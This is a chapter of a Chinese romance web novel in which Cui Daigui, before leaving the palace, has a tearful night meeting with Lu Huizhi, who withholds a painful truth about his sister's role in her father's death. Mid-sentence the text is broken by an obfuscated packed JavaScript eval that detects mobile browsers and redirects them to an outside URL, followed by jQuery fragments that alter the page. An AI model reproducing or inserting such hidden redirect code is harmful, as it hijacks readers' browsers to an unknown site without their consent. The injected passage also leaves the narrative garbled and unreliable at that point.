112. 泪千行

作品:《错惹疯批后被他囚了

    含凉殿。


    崔黛归坐在床榻边,听着宫苑之中四起的哭声。


    内侍省到处抓人,宫女太监们人人自危,大抵今夜没几个能入眠。


    张乐容已经哭过几回,这一会儿刚梳洗完,进来便瞧见崔黛归垂着头,不知在想什么。


    为避人耳目,内殿并未留人侍候,灯火也仅有两盏,显得昏沉。


    她靠床头坐着,发丝未绾,从肩头垂至腰间,盖住了整个肩背,便将那窈窕少女削成了薄薄一张暗色纸片。


    烛火下小小的一只,柔顺,却哀婉。


    张乐容瞧在眼里,想起她刚入宫时的那股精气神,想起从前总能轻易喊出的那声“蛮女”。


    短短几月,物是人非,那些春光里嘻嘻怒骂的日子一去不返。


    只余满身萧瑟。


    她心中忽而很不是滋味,犹豫再三,走过去在她身旁坐下。


    “要不要去瞧瞧?”她握住崔黛归的手,“我带你去。”


    崔黛归抬头,眼眶比之黄昏时肿了一些,面色却怔怔,有些不知所措。


    她明日一早就要出宫,今夜不去看娴妃一眼,再无机会。


    只是......


    张乐容心知她的顾虑,认真端详她的脸,叹道:“你如今瘦了许多,黑灯瞎火的,脸再涂黑些,眼下旁人自顾不暇,也无心去注意你...连累不到我的。”


    崔黛归便点点头,只是依旧坐着没动。


    “......皇贵妃做的孽,同你无关。”


    张乐容眼中泛起泪花,“表姐向来喜欢你,一直拿你当弟妹看待...你不去,她该伤心。”


    崔黛归眼中再也藏不住泪意,哽咽一声,“乐容,娘娘当真愿意看见我吗?”


    这回张乐容笑着弹了下她脑袋,“想什么呢。”


    一番装扮,等到出宫时已夜深人静。


    两人特意遣散了宫女太监,只提着一盏灯走在宫道上。


    有张乐容开路,宫中侍卫莫不敢拦。


    崔黛归穿着香兰的衣服,跟在张乐容后边,脚步比这夜色还沉重。


    离启祥宫越近,她心中越乱。


    明知皇贵妃是皇贵妃,她是她,可心虚和愧疚却始终萦绕在心头,挥之不去。


    那样鲜活温柔的人,眨眼之间便没了,如此惨烈,不是一句同你无关便能轻轻撇过。


    “陆表兄?”


    前面张乐容蓦地止步,心神正乱的崔黛归差点撞上去。


    一抬头,见到陆徽之就站在前面,正看过来。


    他的目光落在自己身上,想是一眼就认出。


    不知是本就心绪不稳还是什么,视线对上时,崔黛归恍惚看到他眼中一闪而过的慌乱。


    她微微一怔,想再仔细看时,陆徽之已侧过身子,让出路来。


    张乐容却有些迟疑。


    她望一眼虽憔悴,立在那里却仍如松如玉的陆徽之,明明第一时间便往崔黛归身上看去,却又在她看过来时故作疏冷地移开目光。


    不由又望一眼身后神情怔愣的崔黛归。


    她心内叹一口气。


    这两人,分明不寻常。


    崔黛归心中所想,她大概能猜到,可陆徽之又是怎么了?


    正想说点什么,却听崔黛归闷闷的声音,“陆郎君,可否借一步说话?”


    于是不等陆徽之应声,她主动退到一旁去。


    崔黛归率先转身,走到道旁的花树下。


    离了那一盏灯笼,仿佛人便能将所有难言的心事都藏入这夜色中,想说什么、想做什么都变得容易些。


    身后缓缓的脚步声传来,崔黛归深吸了口气。


    转过身时,面上挂起一个浅淡的笑,语气也轻快起来,“陆郎君,我是来看娘娘的。”


    “嗯。”碰到她们的那一刻,陆徽之便知道了。


    这一声过后,两人之间静下来。


    崔黛归只觉这一刻时间被无限拉长。


    远处张乐容手中的灯笼晃了晃,一缕暖光打在陆徽之脸上,她瞧见他分明在看着自己。


    那眼中流转的哀伤如潮水漫溢,似有千言万语,却又难言。


    她被这目光灼到,才压下去的悲戚和愧疚便如那高高的山岳压来,那将要说出口的话一时哽在了喉间。


    他何等爱重在意娴妃这个姐姐,又何等爱护珠珠儿和九皇子。


    这样血淋淋的真相摆在面前,明知晚说一分,都是在作恶。


    可叫她如何说得出口。


    这几月来,他尽心尽力替父亲奔波劳累,替崔氏寻得片刻喘息活路,怎料一回京,却要面对这样的惨烈局面。


    竟连姐姐最后一面,也未见着。


    若话一出口,真相道明,他该如何看待崔氏,如何看待先前替崔氏奔波的自己?


    崔黛归分明站在陆徽之面前,只要伸手便能触碰到他。


    可她却觉自己站在了悬崖边上,耳旁寒风猎猎刮过,每一次都是在不停地告诉自己该往前,必须往前。


    可她却生出临阵逃兵般的怯弱,迟迟不敢往前踏出一步。


    不敢跳入那漆黑冷寒,再无人陪伴的深渊。


    可是不能,不能这样。


    崔黛归空茫的心底恍若一柄刀劈来,将她同身后站在平坦大道上的陆徽之一刀劈开。


    她不能这样自私,这样明知真相却装作无辜,这样百般替自己辩白,一边继续享着他的好,一边又顶着崔氏的名头在他面前晃荡——


    即便他对自己心无芥蒂,又该如何在失了女儿的父母面前交代?


    陆氏的芝兰玉树,生于高山雅庭,品行高洁,霁月光风,这样干净、纯粹、澄澈的一个人,当如莲花般一尘不染。


    自己怎能仅因贪恋他的好,便将他拉入横亘在陆崔两姓面前,满是淤泥的深渊?


    微风吹过,肩头仿佛有什么落下来。


    她分明瞧见陆徽之袖摆微微晃动一下,却又克制地顿住。


    侧头看去,果然是一片树叶。


    崔黛归心底忽而被一股巨大的悲恸淹没,她固执地走过去,伸手拽过他的手,拂上自己肩头。


    那片树叶轻易便被拂开,打着旋飘落在地上。


    这一刻,她认清了自己,她做不来良善之人。


    “子德......”


    她握住陆徽之的手,察觉到他听到这声时手指猛然地颤动。


    两世以来头一次这样亲密地喊他,竟是这样哽咽不成调。


    “对不起......”


    她想,她大可同陆氏解释,大可与陆氏一起,将崔元仪视做仇人。


    她想,日子还长,总归会有办法,她不会成为陆徽之衣袍上的污点,她不会让陆徽之陷入两难境况。


    “子德,纵世事斑驳,因果晦涩,你会一直陪着我的,对吗?”


    她轻轻抱住他,却察觉到他蓦地僵住。


    随后,一道沙哑着,怀了更深愧疚的嗓音截断她所有的勇气。


    “该说对不起的...是我。”


    陆徽之任她抱着,掩在衣袖下的手攥紧成拳,整个人已如绷紧的弦,只差一霎的分神,便要向本能低头,紧紧回抱住怀中的姑娘。


    可他没有,他只是仍旧将自己绷紧了,绷到极致却只淡淡垂下眸。


    “回去罢。”


    他喉间滚了滚,觉着自己像个懦夫,竟不敢对她说出那真相,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508473|169783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只颓然艰瑟道:“别去启祥宫......别去看她。”


    他不敢让崔黛归去送姐姐最后一程。


    明明她都未见到父亲最后一面。


    这一句传来,崔黛归心中翻滚许久的复杂思绪陡然一滞。


    仿佛两世以来不休的纠缠终于在这一刻落幕,她心中连慌张都来不及生出,只有一片沉静的钝痛。


    她松开陆徽之,退开两步。


    眼中却瞬间有泪涌出,她抬了头,这才发现,这是先前那株海棠花树。


    那日,她曾站在这树下,邀他一同去城外赏桃花,邀他一同饮果酒。


    他那时是如何说的?


    “好。”


    崔黛归轻声应下,一如那日陆徽之颤着嗓音应下她的邀约。


    分明春日时满树海棠,繁艳夺目,可如今,入目却只剩枝叶。


    “都六月了,它怎么还不结果呢?”


    她喉咙里明明都跟卡了刀一般,出口的声音滞涩,掩不住浓浓的哭腔,可还偏要故作轻松。


    陆徽之听得心中痛极了,只觉自己当真如刽子手般残忍,将这姑娘一颗心血淋淋剖去。


    可他不敢,不敢让她陷入更深重的痛苦。


    珠珠儿的封位,是踩着她父亲的命得来的。


    姐姐已死,珠珠儿还小。


    他做不到将姐姐的心血摘下,他做不到将珠珠儿后半生的倚仗拱手还出来,这样卑劣的自己,有什么资格站在她的面前,说一句“陪着你”?


    是他对不起她。


    为了父亲,她那般决然,不顾性命去杀顾晏。


    却杀错了人,报错了仇。


    他要如何告诉她,这一切,都是他爱重的姐姐在推波助澜?


    往后,她该如何面对自己?


    陆徽之心中有如刀锯斧钺,张了张嘴,木然听着自己干巴巴的声音:“这是长寿冠海棠,通常不会结果。”


    话音落地,他微微怔住,脸色更白。


    崔黛归听了,垂下头去,轻轻“哦”一声。


    两厢无言,一股涩然在两人之间蔓延,气氛沉默地让人喘不过气来。


    可花树下的两人只是站着,谁都不曾挪开一步。


    陆徽之望着眼前的姑娘,明明触手可及,却又恍若远在天边。


    他默默看着,看了许久,像是要将她的模样深深刻在心里。


    终于,心中有片刻的松动,他几乎要忍不住伸手去抱住她时。


    “陆表兄?”张乐容带了催促的轻声传来。


    陆徽之刚要抬起的手猛地停住,无力地垂在袖中。


    崔黛归并未察觉,只拍了拍手,笑道:“陆郎君,先走啦,来日再见!”


    说完转身。


    眼泪瞬间奔涌而出,顺着脸颊簌簌落下,却不敢伸手去擦。


    只在张乐容身旁时,压低了声音,“皇贵妃的事......劳烦你同他说罢。”


    这话几乎是哭着说出来的,张乐容听得心中一紧,抬手要替她拭去,却被她轻轻躲过。


    “怎么了?”


    “没什么,”崔黛归闷闷摇头,随手指了个方向,“我去那边等你。”


    话音刚落,身后却有急促的脚步传来,还来不及回头。


    她便陷入了一个温暖的怀抱。


    那人在张乐容诧异的目光中,大步而来,从身后紧紧抱住崔黛归,带了无限的眷念,将头深深埋在她脖颈间。


    濡湿的气息扑来时,崔黛归只觉脖颈上某处猛然被烫到。


    是一滴泪落下。


    陆徽之眼眶湿润,声音温柔得如同一场轻梦,只在尾音处带了涩然颤意,“蛮蛮......我有话同你说。”